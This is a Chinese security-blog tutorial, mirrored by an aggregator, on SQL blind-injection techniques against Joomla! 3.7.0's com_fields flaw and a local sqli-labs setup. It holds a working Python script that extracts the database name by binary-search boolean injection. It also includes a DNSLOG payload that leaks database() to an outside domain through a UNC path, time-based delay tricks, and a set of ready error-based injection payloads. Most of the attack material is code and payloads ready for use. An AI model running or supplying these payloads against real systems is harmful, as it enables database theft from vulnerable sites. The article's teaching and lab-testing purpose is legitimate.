57

浅谈SQL盲注测试方法解析与技巧

 5 years ago
source link: http://www.freebuf.com/articles/web/175049.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文作者:KarmA@D0g3,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文所有实战盲注例子,均来自 Joomla! 3.7.0 – ‘com_fields’ SQL Injection。

由于篇幅有限,本文就不去剖析漏洞原理,直接告知payload插入点,来展现盲注的用法(如有需要可自行寻找各方大佬的研究文章)。

注入点:

http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list [fullordering]=[payload]

BooleanBase

二分法

优点:

比遍历穷举快

缺点:

容易被封ip

速度慢

原理解析

2InuInM.jpg!web

常用函数:

left(x,y) // 从x的最左侧开始截取前y位

ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较

ord(mid((sql),1,1))=num // ord()==ascii()

regexp ‘^[a-z]‘ // 在某些情况下,用正则表达式还是很方便的!

最后只需要将手工测试的过程转换成python用代码自动化实现

实战

直接上代码吧

# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i <= 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    print('\n')
    print(flag)
    print('Testing... ' + str(left) + ' ' + str(right))
    # 特殊情况
    if (right - left) == 1:
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timout=2)
        if ('安全令牌无效') in response.text:
            flag = flag + string[right]
            print(flag)
            exit()
        else: 
            flag = flag + string[left]
            print(flag)
            exit()
    # 二分法
    while 1:
        mid = int((left + right) / 2)
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timeout=2)
        # 右半部
        if ('安全令牌无效') in response.text:
            left = mid + 1
            print('left:'+str(left))
        # 左半部
        else: 
            right = mid
            print('right:'+str(right))
        if (left == right):
            flag = flag + string[left]
            break
        # 特殊情况
        if (right - left) == 1:
            payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
            poc = url + payload
            print(poc)
            response = requests.get(poc,cookies=cookies,timeout=2)
            if ('安全令牌无效') in response.text:
                flag = flag + string[right]
                print(flag)
                break
            else: 
                flag = flag + string[left]
                print(flag)
                break
    i += 1
print(flag)

zyUFj2f.jpg!web

DNSLOG

优点:

简单,不需要像二分法一样繁琐地一个个遍历

快速(相对于二分法而言)

缺点:

局限于Windows环境下(UNC路径)

Mysql版本>=5.5.53就要检查Secure_file_priv这个全局变量是否为空(若为NULL,则不可用, 详见

原理解析

找了国外的 paper 研究了一波,不懂的就来一波疯狂乱查,然后拿个小本本记下来~~

虽然大概明白是个什么意思,但是计网的dns知识(明年这个时候才学),我。。。有点晕~

然后自己似懂非懂地画了张利用dnslog进行sql盲注的原理流程图,如有不对,感谢各位大佬指正:

VFvqyan.jpg!web

UNC路径:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。(转自百度)

所以payload里面的四个’\\\\’和两个’\\\’经过转义后再通过concat函数拼接,就形成了 \\test.karmaof.me\123 的UNC路径。

payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.karmaof.me\\123'))),1,1)--+

一开始自己搭建测试环境的时候遇到各种玄学问题……

如何查看mysql是否开启了文件导入导出?
mysql>show global variables like '%secure%';
如果secure_file_priv的值为null,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。
如何修改secure_file_priv?
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql,再查询secure_file_priv,为空,则已经设置好了。

实战

源码的$query里面带了一层mysqli的escape函数对单双引号等字符进行转义,所以对于dnslog的复现不是很有利,所以我就把过滤去掉了。

但是实践的时候又发现了问题:

查询是正常的,但是,并没有解析到dns记录

2AreQjI.jpg!web

然后就做了个愚蠢的试验:

EFZNzqb.jpg!web

配合报错注入里面的查询,却可以解析到dns记录

aeimYvm.jpg!web

后来看到作者用sqlmap跑的payload(DUAL表是一张虚拟表),发现用了一波case when,然后一样可以得到dns记录

AjuE7fR.jpg!web

2EnA3iz.jpg!web

但是这里有个疑问就是,尽管后面的句子不会执行,但是else后面的语句一定要加union查询,不加的话,是截获不了dns记录的。

估计审一波代码就可以知道为什么了  。◕‿◕。

所以就去搜了一波 CASE WHEN 然后发现它又是一个功能比较强大的东东:)

# 官方定义:
CASE expression
    WHEN condition1 THEN result1
    WHEN condition2 THEN result2
   ...
    WHEN conditionN THEN resultN
    ELSE result
END
# 总结来说:case when 有两种用法,类似于C语言的 swicth case
# 简单判断版
mysql> select * from users;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | admin  |
|  2 | KarmA    | KarmA  |
+----+----------+--------+
mysql> select
    ->  ( case when users.id = 1 then users.username
    ->          when users.id = 2 then users.username
    ->  else 0 end) as username2 from users;
+-----------+
| username2 |
+-----------+
| admin     |
| KarmA     |
+-----------+
# 搜索版
# when 后面可以接任意判断表达式,then 后面就是true的时候执行的语句
mysql> select * from users;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | admin  |
|  2 | KarmA    | KarmA  |
+----+----------+--------+
mysql> select
    ->  ( case when users.id = 1 then users.username
    ->          when users.id = 2 then users.username
    ->  else 0
    ->  end) as username2 from users;
+-----------+
| username2 |
+-----------+
| admin     |
| KarmA     |
+-----------+

参考资料

OBB注入

DNSLOG利用

笔记: Data Retrieval over DNS in SQL Injection Attacks

TimeBase

前段时间看到 do9gy@长亭科技 大佬发的一篇文章,就赶紧学一波新型盲注技巧

sleep()

mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

benchmark()

mysql> select benchmark(1000000,sha(1));
+---------------------------+
| benchmark(1000000,sha(1)) |
+---------------------------+
|                         0 |
+---------------------------+
1 row in set (0.39 sec)

不推荐使用

笛卡尔积

(这是一个线代的概念??我怎么好像没有印象了……)

百度一波:

笛卡尔乘积是指在数学中,两个集合X和Y的 卡尓 (Cartesian product),又称直 ,表示为X × Y,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员 。

为了防止表明重复可能导致不必要的错误,所以一般都会用表别名来区别:

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*)  |
+-----------+
| 337801632 |
+-----------+
1 row in set (6.19 sec)

get_lock()

这个只演示原理吧,虽然延时精准,但是利用条件也很苛刻~~(需要使用 mysql_pconnect 函数来连接数据库)

session 1

mysql> select get_lock('karma',1);
+---------------------+
| get_lock('karma',1) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

session 2

mysql> select get_lock('karma',10);
+----------------------+
| get_lock('karma',10) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (10.00 sec)

参考资料

MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

ErrorBase

floor()+count()+group by

(万能)

payload:http://localhost/sqli/less-5/
?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

exp()

payload:http://localhost/sqli/less-1/
?id=1' and exp(~(select * from (select database() ) a) );--+

bigint

(Mysql Version >=5.4.45)

payload:http://localhost/sqli/less-1/
?id=1' and !(select*from(select user())x)-~0-- -

extractvalue()

(Mysql Version >=5.1.5)

与updatexml类似

updatexml()

(Mysql Version >=5.1.5)

updatexml最多只能显示32位,超过长度可以配合substr()

UpdateXML(xml_target, xpath_expr, new_xml)

第一个参数是含xml文档格式的字符串

第二个参数是xpath表达式,我们就是在这个参数上作文章:)

第三个是需要替换成的xptah表达式

IBZfyeB.jpg!web

payload:http://localhost/sqli/less-1/
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

name_const()

NAME_CONST(name,value)

生成名为name的列,并把value赋值过去,如果存在

fUjYnuB.jpg!web

payload:http://localhost/sqli/less-1/
?id=1' union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;--+

重点标注的x可以换成其他字母,但是不能不填以及填数字。Every derived table must have its own alias不填会报错table需要别名。后来本地测试了一下:

77Bb6ri.jpg!web

2yIfMja.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK